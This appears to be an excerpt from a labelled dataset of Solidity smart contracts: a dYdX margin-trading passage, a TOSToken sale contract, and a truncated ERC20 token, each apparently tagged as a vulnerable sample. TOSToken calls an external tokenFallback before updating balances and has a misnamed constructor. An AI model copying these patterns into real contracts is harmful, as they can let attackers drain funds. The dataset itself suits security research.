Actions.ActionType actionType = arg.actionType;
Actions.MarketLayout marketLayout = Actions.getMarketLayout(actionType);
Actions.AccountLayout accountLayout = Actions.getAccountLayout(actionType);
if (accountLayout != Actions.AccountLayout.OnePrimary) {
Require.that(
arg.accountId != arg.otherAccountId,
FILE,
"Duplicate accounts in action",
i
);
if (accountLayout == Actions.AccountLayout.TwoPrimary) {
primaryAccounts[arg.otherAccountId] = true;
} else {
assert(accountLayout == Actions.AccountLayout.PrimaryAndSecondary);
Require.that(
!primaryAccounts[arg.otherAccountId],
FILE,
"Requires non-primary account",
arg.otherAccountId
);
}
}
primaryAccounts[arg.accountId] = true;
if (marketLayout == Actions.MarketLayout.OneMarket) {
_updateMarket(state, cache, arg.primaryMarketId);
} else if (marketLayout == Actions.MarketLayout.TwoMarkets) {
Require.that(
arg.primaryMarketId != arg.secondaryMarketId,
FILE,
"Duplicate markets in action",
i
);
_updateMarket(state, cache, arg.primaryMarketId);
_updateMarket(state, cache, arg.secondaryMarketId);
} else {
assert(marketLayout == Actions.MarketLayout.ZeroMarkets);
}
}
for (uint256 m = 0; m < numMarkets; m++) {
if (cache.hasMarket(m)) {
continue;
}
for (uint256 a = 0; a < accounts.length; a++) {
if (!state.getPar(accounts[a], m).isZero()) {
_updateMarket(state, cache, m);
break;
}
}
}
return (primaryAccounts, cache);
}
function _updateMarket(
Storage.State storage state,
Cache.MarketCache memory cache,
uint256 marketId
)
private
{
bool updated = cache.addMarket(state, marketId);
if (updated) {
Events.logIndexUpdate(marketId, state.updateIndex(marketId));
}
}
function _runActions(
Storage.State storage state,
Account.Info[] memory accounts,
Actions.ActionArgs[] memory actions,
Cache.MarketCache memory cache
)
private
{
for (uint256 i = 0; i < actions.length; i++) {
Actions.ActionArgs memory action = actions[i];
Actions.ActionType actionType = action.actionType;
if (actionType == Actions.ActionType.Deposit) {
_deposit(state, Actions.parseDepositArgs(accounts, action));
}
else if (actionType == Actions.ActionType.Withdraw) {
_withdraw(state, Actions.parseWithdrawArgs(accounts, action));
}
else if (actionType == Actions.ActionType.Transfer) {
_transfer(state, Actions.parseTransferArgs(accounts, action));
}
else if (actionType == Actions.ActionType.Buy) {
_buy(state, Actions.parseBuyArgs(accounts, action));
}
else if (actionType == Actions.ActionType.Sell) {
_sell(state, Actions.parseSellArgs(accounts, action));
}
else if (actionType == Actions.ActionType.Trade) {
_trade(state, Actions.parseTradeArgs(accounts, action));
}
else if (actionType == Actions.ActionType.Liquidate) {
_liquidate(state, Actions.parseLiquidateArgs(accounts, action), cache);
}
else if (actionType == Actions.ActionType.Vaporize) {
_vaporize(state, Actions.parseVaporizeArgs(accounts, action), cache);
}
else {
assert(actionType == Actions.ActionType.Call);
_call(state, Actions.parseCallArgs(accounts, action));
}
}
}
function _verifyFinalState(
Storage.State storage state,
Account.Info[] memory accounts,
bool[] memory primaryAccounts,
Cache.MarketCache memory cache
)
private
{
uint256 numMarkets = cache.getNumMarkets();
for (uint256 m = 0; m < numMarkets; m++) {
if (cache.getIsClosing(m)) {
Require.that(
state.getTotalPar(m).borrow <= cache.getBorrowPar(m),
FILE,
"Market is closing",
m
);
}
}
for (uint256 a = 0; a < accounts.length; a++) {
Account.Info memory account = accounts[a];
bool collateralized = state.isCollateralized(account, cache, true);
if (!primaryAccounts[a]) {
continue;
}
Require.that(
collateralized,
FILE,
"Undercollateralized account",
account.owner,
account.number
);
if (state.getStatus(account) != Account.Status.Normal) {
state.setStatus(account, Account.Status.Normal);
}
}
}
function _deposit(
Storage.State storage state,
Actions.DepositArgs memory args
)
private
{
state.requireIsOperator(args.account, msg.sender);
Require.that(
args.from == msg.sender || args.from == args.account.owner,
FILE,
"Invalid deposit source",
args.from
);
(
Types.Par memory newPar,
Types.Wei memory deltaWei
) = state.getNewParAndDeltaWei(
args.account,
args.market,
args.amount
);
state.setPar(
args.account,
args.market,
newPar
);
Exchange.transferIn(
state.getToken(args.market),
args.from,
deltaWei
);
Events.logDeposit(
state,
args,
deltaWei
);
}
function _withdraw(
Storage.State storage state,
Actions.WithdrawArgs memory args
)
private
{
state.requireIsOperator(args.account, msg.sender);
(
Types.Par memory newPar,
Types.Wei memory deltaWei
) = state.getNewParAndDeltaWei(
args.account,
args.market,
args.amount
);
state.setPar(
args.account,
args.market,
newPar
);
Exchange.transferOut(
state.getToken(args.market),
args.to,
deltaWei
);
Events.logWithdraw(
state,
args,
deltaWei
);
}
function _transfer(
Storage.State storage state,
Actions.TransferArgs memory args
)
private
{
state.requireIsOperator(args.accountOne, msg.sender);
state.requireIsOperator(args.accountTwo, msg.sender);
(
Types.Par memory newPar,
Types.Wei memory deltaWei
) = state.getNewParAndDeltaWei(
args.accountOne,
args.market,
args.amount
);
state.setPar(
args.accountOne,
args.market,
newPar
);
state.setParFromDeltaWei(
args.accountTwo,
args.market,
deltaWei.negative()
);
Events.logTransfer(
state,
args,
deltaWei
);
}
function _buy(
Storage.State storage state,
Actions.BuyArgs memory args
)
private
{
state.requireIsOperator(args.account, msg.sender);
address takerToken = state.getToken(args.takerMarket);
address makerToken = state.getToken(args.makerMarket);
(
Types.Par memory makerPar,
Types.Wei memory makerWei
) = state.getNewParAndDeltaWei(
args.account,
args.makerMarket,
args.amount
);
Types.Wei memory takerWei = Exchange.getCost(
args.exchangeWrapper,
makerToken,
takerToken,
makerWei,
args.orderData
);
Types.Wei memory tokensReceived = Exchange.exchange(
args.exchangeWrapper,
args.account.owner,
makerToken,
takerToken,
takerWei,
args.orderData
);
Require.that(
tokensReceived.value >= makerWei.value,
FILE,
"Buy amount less than promised",
tokensReceived.value,
makerWei.value
);
state.setPar(
args.account,
args.makerMarket,
makerPar
);
state.setParFromDeltaWei(
args.account,
args.takerMarket,
takerWei
);
Events.logBuy(
state,
args,
takerWei,
makerWei
);
}
function _sell(
Storage.State storage state,
Actions.SellArgs memory args
)
private
{
state.requireIsOperator(args.account, msg.sender);
address takerToken = state.getToken(args.takerMarket);
address makerToken = state.getToken(args.makerMarket);
(
Types.Par memory takerPar,
Types.Wei memory takerWei
) = state.getNewParAndDeltaWei(
args.account,
args.takerMarket,
args.amount
);
Types.Wei memory makerWei = Exchange.exchange(
args.exchangeWrapper,
args.account.owner,
makerToken,
takerToken,
takerWei,
args.orderData
);
state.setPar(
args.account,
args.takerMarket,
takerPar
);
state.setParFromDeltaWei(
args.account,
args.makerMarket,
makerWei
);
Events.logSell(
state,
args,
takerWei,
makerWei
);
}
function _trade(
Storage.State storage state,
Actions.TradeArgs memory args
)
private
{
state.requireIsOperator(args.takerAccount, msg.sender);
state.requireIsOperator(args.makerAccount, args.autoTrader);
Types.Par memory oldInputPar = state.getPar(
args.makerAccount,
args.inputMarket
);
(
Types.Par memory newInputPar,
Types.Wei memory inputWei
) = state.getNewParAndDeltaWei(
args.makerAccount,
args.inputMarket,
args.amount
);
Types.AssetAmount memory outputAmount = IAutoTrader(args.autoTrader).getTradeCost(
args.inputMarket,
args.outputMarket,
args.makerAccount,
args.takerAccount,
oldInputPar,
newInputPar,
inputWei,
args.tradeData
);
(
Types.Par memory newOutputPar,
Types.Wei memory outputWei
) = state.getNewParAndDeltaWei(
args.makerAccount,
args.outputMarket,
outputAmount
);
Require.that(
outputWei.isZero() || inputWei.isZero() || outputWei.sign != inputWei.sign,
FILE,
"Trades cannot be one-sided"
);
state.setPar(
args.makerAccount,
args.inputMarket,
newInputPar
);
state.setPar(
args.makerAccount,
args.outputMarket,
newOutputPar
);
state.setParFromDeltaWei(
args.takerAccount,
args.inputMarket,
inputWei.negative()
);
state.setParFromDeltaWei(
args.takerAccount,
args.outputMarket,
outputWei.negative()
);
Events.logTrade(
state,
args,
inputWei,
outputWei
);
}
function _liquidate(
Storage.State storage state,
Actions.LiquidateArgs memory args,
Cache.MarketCache memory cache
)
private
{
state.requireIsOperator(args.solidAccount, msg.sender);
if (Account.Status.Liquid != state.getStatus(args.liquidAccount)) {
Require.that(
!state.isCollateralized(args.liquidAccount, cache, false),
FILE,
"Unliquidatable account",
args.liquidAccount.owner,
args.liquidAccount.number
);
state.setStatus(args.liquidAccount, Account.Status.Liquid);
}
Types.Wei memory maxHeldWei = state.getWei(
args.liquidAccount,
args.heldMarket
);
Require.that(
!maxHeldWei.isNegative(),
FILE,
"Collateral cannot be negative",
args.liquidAccount.owner,
args.liquidAccount.number,
args.heldMarket
);
(
Types.Par memory owedPar,
Types.Wei memory owedWei
) = state.getNewParAndDeltaWeiForLiquidation(
args.liquidAccount,
args.owedMarket,
args.amount
);
(
Monetary.Price memory heldPrice,
Monetary.Price memory owedPrice
) = _getLiquidationPrices(
state,
cache,
args.heldMarket,
args.owedMarket
);
Types.Wei memory heldWei = _owedWeiToHeldWei(owedWei, heldPrice, owedPrice);
if (heldWei.value > maxHeldWei.value) {
heldWei = maxHeldWei.negative();
owedWei = _heldWeiToOwedWei(heldWei, heldPrice, owedPrice);
state.setPar(
args.liquidAccount,
args.heldMarket,
Types.zeroPar()
);
state.setParFromDeltaWei(
args.liquidAccount,
args.owedMarket,
owedWei
);
} else {
state.setPar(
args.liquidAccount,
args.owedMarket,
owedPar
);
state.setParFromDeltaWei(
args.liquidAccount,
args.heldMarket,
heldWei
);
}
state.setParFromDeltaWei(
args.solidAccount,
args.owedMarket,
owedWei.negative()
);
state.setParFromDeltaWei(
args.solidAccount,
args.heldMarket,
heldWei.negative()
);
Events.logLiquidate(
state,
args,
heldWei,
owedWei
);
}
function _vaporize(
Storage.State storage state,
Actions.VaporizeArgs memory args,
Cache.MarketCache memory cache
)
private
{
state.requireIsOperator(args.solidAccount, msg.sender);
if (Account.Status.Vapor != state.getStatus(args.vaporAccount)) {
Require.that(
state.isVaporizable(args.vaporAccount, cache),
FILE,
"Unvaporizable account",
args.vaporAccount.owner,
args.vaporAccount.number
);
state.setStatus(args.vaporAccount, Account.Status.Vapor);
}
(
bool fullyRepaid,
Types.Wei memory excessWei
) = _vaporizeUsingExcess(state, args);
if (fullyRepaid) {
Events.logVaporize(
state,
args,
Types.zeroWei(),
Types.zeroWei(),
excessWei
);
return;
}
Types.Wei memory maxHeldWei = state.getNumExcessTokens(args.heldMarket);
Require.that(
!maxHeldWei.isNegative(),
FILE,
"Excess cannot be negative",
args.heldMarket
);
(
Types.Par memory owedPar,
Types.Wei memory owedWei
) = state.getNewParAndDeltaWeiForLiquidation(
args.vaporAccount,
args.owedMarket,
args.amount
);
(
Monetary.Price memory heldPrice,
Monetary.Price memory owedPrice
) = _getLiquidationPrices(
state,
cache,
args.heldMarket,
args.owedMarket
);
Types.Wei memory heldWei = _owedWeiToHeldWei(owedWei, heldPrice, owedPrice);
if (heldWei.value > maxHeldWei.value) {
heldWei = maxHeldWei.negative();
owedWei = _heldWeiToOwedWei(heldWei, heldPrice, owedPrice);
state.setParFromDeltaWei(
args.vaporAccount,
args.owedMarket,
owedWei
);
} else {
state.setPar(
args.vaporAccount,
args.owedMarket,
owedPar
);
}
state.setParFromDeltaWei(
args.solidAccount,
args.owedMarket,
owedWei.negative()
);
state.setParFromDeltaWei(
args.solidAccount,
args.heldMarket,
heldWei.negative()
);
Events.logVaporize(
state,
args,
heldWei,
owedWei,
excessWei
);
}
function _call(
Storage.State storage state,
Actions.CallArgs memory args
)
private
{
state.requireIsOperator(args.account, msg.sender);
ICallee(args.callee).callFunction(
msg.sender,
args.account,
args.data
);
Events.logCall(args);
}
function _owedWeiToHeldWei(
Types.Wei memory owedWei,
Monetary.Price memory heldPrice,
Monetary.Price memory owedPrice
)
private
pure
returns (Types.Wei memory)
{
return Types.Wei({
sign: false,
value: Math.getPartial(owedWei.value, owedPrice.value, heldPrice.value)
});
}
function _heldWeiToOwedWei(
Types.Wei memory heldWei,
Monetary.Price memory heldPrice,
Monetary.Price memory owedPrice
)
private
pure
returns (Types.Wei memory)
{
return Types.Wei({
sign: true,
value: Math.getPartialRoundUp(heldWei.value, heldPrice.value, owedPrice.value)
});
}
function _vaporizeUsingExcess(
Storage.State storage state,
Actions.VaporizeArgs memory args
)
internal
returns (bool, Types.Wei memory)
{
Types.Wei memory excessWei = state.getNumExcessTokens(args.owedMarket);
if (!excessWei.isPositive()) {
return (false, Types.zeroWei());
}
Types.Wei memory maxRefundWei = state.getWei(args.vaporAccount, args.owedMarket);
maxRefundWei.sign = true;
if (excessWei.value >= maxRefundWei.value) {
state.setPar(
args.vaporAccount,
args.owedMarket,
Types.zeroPar()
);
return (true, maxRefundWei);
}
else {
state.setParFromDeltaWei(
args.vaporAccount,
args.owedMarket,
excessWei
);
return (false, excessWei);
}
}
function _getLiquidationPrices(
Storage.State storage state,
Cache.MarketCache memory cache,
uint256 heldMarketId,
uint256 owedMarketId
)
internal
view
returns (
Monetary.Price memory,
Monetary.Price memory
)
{
uint256 originalPrice = cache.getPrice(owedMarketId).value;
Decimal.D256 memory spread = state.getLiquidationSpreadForPair(
heldMarketId,
owedMarketId
);
Monetary.Price memory owedPrice = Monetary.Price({
value: originalPrice.add(Decimal.mul(originalPrice, spread))
});
return (cache.getPrice(heldMarketId), owedPrice);
}
}
contract Operation is
State,
ReentrancyGuard
{
function operate(
Account.Info[] memory accounts,
Actions.ActionArgs[] memory actions
)
public
nonReentrant
{
OperationImpl.operate(
g_state,
accounts,
actions
);
}
}
contract Permission is
State
{
event LogOperatorSet(
address indexed owner,
address operator,
bool trusted
);
struct OperatorArg {
address operator;
bool trusted;
}
function setOperators(
OperatorArg[] memory args
)
public
{
for (uint256 i = 0; i < args.length; i++) {
address operator = args[i].operator;
bool trusted = args[i].trusted;
g_state.operators[msg.sender][operator] = trusted;
emit LogOperatorSet(msg.sender, operator, trusted);
}
}
}
contract SoloMargin is
State,
Admin,
Getters,
Operation,
Permission
{
constructor(
Storage.RiskParams memory riskParams,
Storage.RiskLimits memory riskLimits
)
public
{
g_state.riskParams = riskParams;
g_state.riskLimits = riskLimits;
}
}
contract OnlySolo {
bytes32 constant FILE = "OnlySolo";
SoloMargin public SOLO_MARGIN;
constructor (
address soloMargin
)
public
{
SOLO_MARGIN = SoloMargin(soloMargin);
}
modifier onlySolo(address from) {
Require.that(
from == address(SOLO_MARGIN),
FILE,
"Only Solo can call function",
from
);
_;
}
}
contract Expiry is
Ownable,
OnlySolo,
ICallee,
IAutoTrader
{
using SafeMath for uint32;
using SafeMath for uint256;
using Types for Types.Par;
using Types for Types.Wei;
bytes32 constant FILE = "Expiry";
event ExpirySet(
address owner,
uint256 number,
uint256 marketId,
uint32 time
);
event LogExpiryRampTimeSet(
uint256 expiryRampTime
);
mapping (address => mapping (uint256 => mapping (uint256 => uint32))) g_expiries;
uint256 public g_expiryRampTime;
constructor (
address soloMargin,
uint256 expiryRampTime
)
public
OnlySolo(soloMargin)
{
g_expiryRampTime = expiryRampTime;
}
function ownerSetExpiryRampTime(
uint256 newExpiryRampTime
)
external
onlyOwner
{
emit LogExpiryRampTimeSet(newExpiryRampTime);
g_expiryRampTime = newExpiryRampTime;
}
function getExpiry(
Account.Info memory account,
uint256 marketId
)
public
view
returns (uint32)
{
return g_expiries[account.owner][account.number][marketId];
}
function getSpreadAdjustedPrices(
uint256 heldMarketId,
uint256 owedMarketId,
uint32 expiry
)
public
view
returns (
Monetary.Price memory,
Monetary.Price memory
)
{
Decimal.D256 memory spread = SOLO_MARGIN.getLiquidationSpreadForPair(
heldMarketId,
owedMarketId
);
uint256 expiryAge = Time.currentTime().sub(expiry);
if (expiryAge < g_expiryRampTime) {
spread.value = Math.getPartial(spread.value, expiryAge, g_expiryRampTime);
}
Monetary.Price memory heldPrice = SOLO_MARGIN.getMarketPrice(heldMarketId);
Monetary.Price memory owedPrice = SOLO_MARGIN.getMarketPrice(owedMarketId);
owedPrice.value = owedPrice.value.add(Decimal.mul(owedPrice.value, spread));
return (heldPrice, owedPrice);
}
function callFunction(
address ,
Account.Info memory account,
bytes memory data
)
public
onlySolo(msg.sender)
{
(
uint256 marketId,
uint32 expiryTime
) = parseCallArgs(data);
if (expiryTime != 0 && !SOLO_MARGIN.getAccountPar(account, marketId).isNegative()) {
return;
}
setExpiry(account, marketId, expiryTime);
}
function getTradeCost(
uint256 inputMarketId,
uint256 outputMarketId,
Account.Info memory makerAccount,
Account.Info memory ,
Types.Par memory oldInputPar,
Types.Par memory newInputPar,
Types.Wei memory inputWei,
bytes memory data
)
public
onlySolo(msg.sender)
returns (Types.AssetAmount memory)
{
if (inputWei.isZero()) {
return Types.AssetAmount({
sign: true,
denomination: Types.AssetDenomination.Par,
ref: Types.AssetReference.Delta,
value: 0
});
}
(
uint256 owedMarketId,
uint32 maxExpiry
) = parseTradeArgs(data);
uint32 expiry = getExpiry(makerAccount, owedMarketId);
Require.that(
expiry != 0,
FILE,
"Expiry not set",
makerAccount.owner,
makerAccount.number,
owedMarketId
);
Require.that(
expiry <= Time.currentTime(),
FILE,
"Borrow not yet expired",
expiry
);
Require.that(
expiry <= maxExpiry,
FILE,
"Expiry past maxExpiry",
expiry
);
return getTradeCostInternal(
inputMarketId,
outputMarketId,
makerAccount,
oldInputPar,
newInputPar,
inputWei,
owedMarketId,
expiry
);
}
function getTradeCostInternal(
uint256 inputMarketId,
uint256 outputMarketId,
Account.Info memory makerAccount,
Types.Par memory oldInputPar,
Types.Par memory newInputPar,
Types.Wei memory inputWei,
uint256 owedMarketId,
uint32 expiry
)
private
returns (Types.AssetAmount memory)
{
Types.AssetAmount memory output;
Types.Wei memory maxOutputWei = SOLO_MARGIN.getAccountWei(makerAccount, outputMarketId);
if (inputWei.isPositive()) {
Require.that(
inputMarketId == owedMarketId,
FILE,
"inputMarket mismatch",
inputMarketId
);
Require.that(
!newInputPar.isPositive(),
FILE,
"Borrows cannot be overpaid",
newInputPar.value
);
assert(oldInputPar.isNegative());
Require.that(
maxOutputWei.isPositive(),
FILE,
"Collateral must be positive",
outputMarketId,
maxOutputWei.value
);
output = owedWeiToHeldWei(
inputWei,
outputMarketId,
inputMarketId,
expiry
);
if (newInputPar.isZero()) {
setExpiry(makerAccount, owedMarketId, 0);
}
} else {
Require.that(
outputMarketId == owedMarketId,
FILE,
"outputMarket mismatch",
outputMarketId
);
Require.that(
!newInputPar.isNegative(),
FILE,
"Collateral cannot be overused",
newInputPar.value
);
assert(oldInputPar.isPositive());
Require.that(
maxOutputWei.isNegative(),
FILE,
"Borrows must be negative",
outputMarketId,
maxOutputWei.value
);
output = heldWeiToOwedWei(
inputWei,
inputMarketId,
outputMarketId,
expiry
);
if (output.value == maxOutputWei.value) {
setExpiry(makerAccount, owedMarketId, 0);
}
}
Require.that(
output.value <= maxOutputWei.value,
FILE,
"outputMarket too small",
output.value,
maxOutputWei.value
);
assert(output.sign != maxOutputWei.sign);
return output;
}
function setExpiry(
Account.Info memory account,
uint256 marketId,
uint32 time
)
private
{
g_expiries[account.owner][account.number][marketId] = time;
emit ExpirySet(
account.owner,
account.number,
marketId,
time
);
}
function heldWeiToOwedWei(
Types.Wei memory heldWei,
uint256 heldMarketId,
uint256 owedMarketId,
uint32 expiry
)
private
view
returns (Types.AssetAmount memory)
{
(
Monetary.Price memory heldPrice,
Monetary.Price memory owedPrice
) = getSpreadAdjustedPrices(
heldMarketId,
owedMarketId,
expiry
);
uint256 owedAmount = Math.getPartialRoundUp(
heldWei.value,
heldPrice.value,
owedPrice.value
);
return Types.AssetAmount({
sign: true,
denomination: Types.AssetDenomination.Wei,
ref: Types.AssetReference.Delta,
value: owedAmount
});
}
function owedWeiToHeldWei(
Types.Wei memory owedWei,
uint256 heldMarketId,
uint256 owedMarketId,
uint32 expiry
)
private
view
returns (Types.AssetAmount memory)
{
(
Monetary.Price memory heldPrice,
Monetary.Price memory owedPrice
) = getSpreadAdjustedPrices(
heldMarketId,
owedMarketId,
expiry
);
uint256 heldAmount = Math.getPartial(
owedWei.value,
owedPrice.value,
heldPrice.value
);
return Types.AssetAmount({
sign: false,
denomination: Types.AssetDenomination.Wei,
ref: Types.AssetReference.Delta,
value: heldAmount
});
}
function parseCallArgs(
bytes memory data
)
private
pure
returns (
uint256,
uint32
)
{
Require.that(
data.length == 64,
FILE,
"Call data invalid length",
data.length
);
uint256 marketId;
uint256 rawExpiry;
assembly {
marketId := mload(add(data, 32))
rawExpiry := mload(add(data, 64))
}
return (
marketId,
Math.to32(rawExpiry)
);
}
function parseTradeArgs(
bytes memory data
)
private
pure
returns (
uint256,
uint32
)
{
Require.that(
data.length == 64,
FILE,
"Trade data invalid length",
data.length
);
uint256 owedMarketId;
uint256 rawExpiry;
assembly {
owedMarketId := mload(add(data, 32))
rawExpiry := mload(add(data, 64))
}
return (
owedMarketId,
Math.to32(rawExpiry)
);
}
} | 1 | 3,010 |
pragma solidity ^0.4.18;
contract SafeMath {
function mulSafe(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function divSafe(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function subSafe(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function addSafe(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Constructor() public { owner = msg.sender; }
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract ERC20 {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC223 {
function transfer(address to, uint value, bytes data) public;
event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
}
contract ERC223ReceivingContract {
function tokenFallback(address _from, uint _value, bytes _data) public;
}
contract StandardToken is ERC20, ERC223, SafeMath, Owned {
event ReleaseSupply(address indexed receiver, uint256 value, uint256 releaseTime);
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = subSafe(balances[msg.sender], _value);
balances[_to] = addSafe(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = subSafe(balances[_from], _value);
balances[_to] = addSafe(balances[_to], _value);
allowed[_from][msg.sender] = subSafe(allowed[_from][msg.sender], _value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = addSafe(allowed[msg.sender][_spender], _addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = subSafe(oldValue, _subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function transfer(address _to, uint _value, bytes _data) public {
require(_value > 0 );
if(isContract(_to)) {
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
receiver.tokenFallback(msg.sender, _value, _data);
}
balances[msg.sender] = subSafe(balances[msg.sender], _value);
balances[_to] = addSafe(balances[_to], _value);
Transfer(msg.sender, _to, _value, _data);
}
function isContract(address _addr) private view returns (bool is_contract) {
uint length;
assembly {
length := extcodesize(_addr)
}
return (length>0);
}
}
contract TOSToken is StandardToken {
string public name = 'TOSToken';
string public symbol = 'TOS';
uint public decimals = 18;
uint256 public createTime = 1527436800;
uint256 public bonusEnds = 1528646400;
uint256 public endDate = 1529078400;
uint256 firstAnnual = 1559318400;
uint256 secondAnnual = 1590940800;
uint256 thirdAnnual = 1622476800;
uint256 public INITIAL_SUPPLY = 1000000000;
uint256 public frozenForever = 400000000;
uint256 firstAnnualReleasedAmount = 150000000;
uint256 secondAnnualReleasedAmount= 150000000;
uint256 thirdAnnualReleasedAmount = 100000000;
function TOSToken() public {
totalSupply = 200000000 ;
balances[msg.sender] = totalSupply * 10 ** uint256(decimals);
owner = msg.sender;
}
function releaseSupply() public onlyOwner returns(uint256 _actualRelease) {
uint256 releaseAmount = getReleaseAmount();
require(releaseAmount > 0);
balances[owner] = addSafe(balances[owner], releaseAmount * 10 ** uint256(decimals));
totalSupply = addSafe(totalSupply, releaseAmount);
Transfer(address(0), msg.sender, releaseAmount);
return releaseAmount;
}
function getReleaseAmount() internal returns(uint256 _actualRelease) {
uint256 _amountToRelease;
if ( now >= firstAnnual
&& now < secondAnnual
&& firstAnnualReleasedAmount > 0) {
_amountToRelease = firstAnnualReleasedAmount;
firstAnnualReleasedAmount = 0;
} else if ( now >= secondAnnual
&& now < thirdAnnual
&& secondAnnualReleasedAmount > 0) {
_amountToRelease = secondAnnualReleasedAmount;
secondAnnualReleasedAmount = 0;
} else if ( now >= thirdAnnual
&& thirdAnnualReleasedAmount > 0) {
_amountToRelease = thirdAnnualReleasedAmount;
thirdAnnualReleasedAmount = 0;
} else {
_amountToRelease = 0;
}
return _amountToRelease;
}
function () public payable {
require(now >= createTime && now <= endDate);
uint tokens;
if (now <= bonusEnds) {
tokens = msg.value * 2480;
} else {
tokens = msg.value * 2000;
}
require(tokens <= balances[owner]);
balances[msg.sender] = addSafe(balances[msg.sender], tokens);
Transfer(address(0), msg.sender, tokens);
owner.transfer(msg.value);
}
} | 1 | 3,443 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
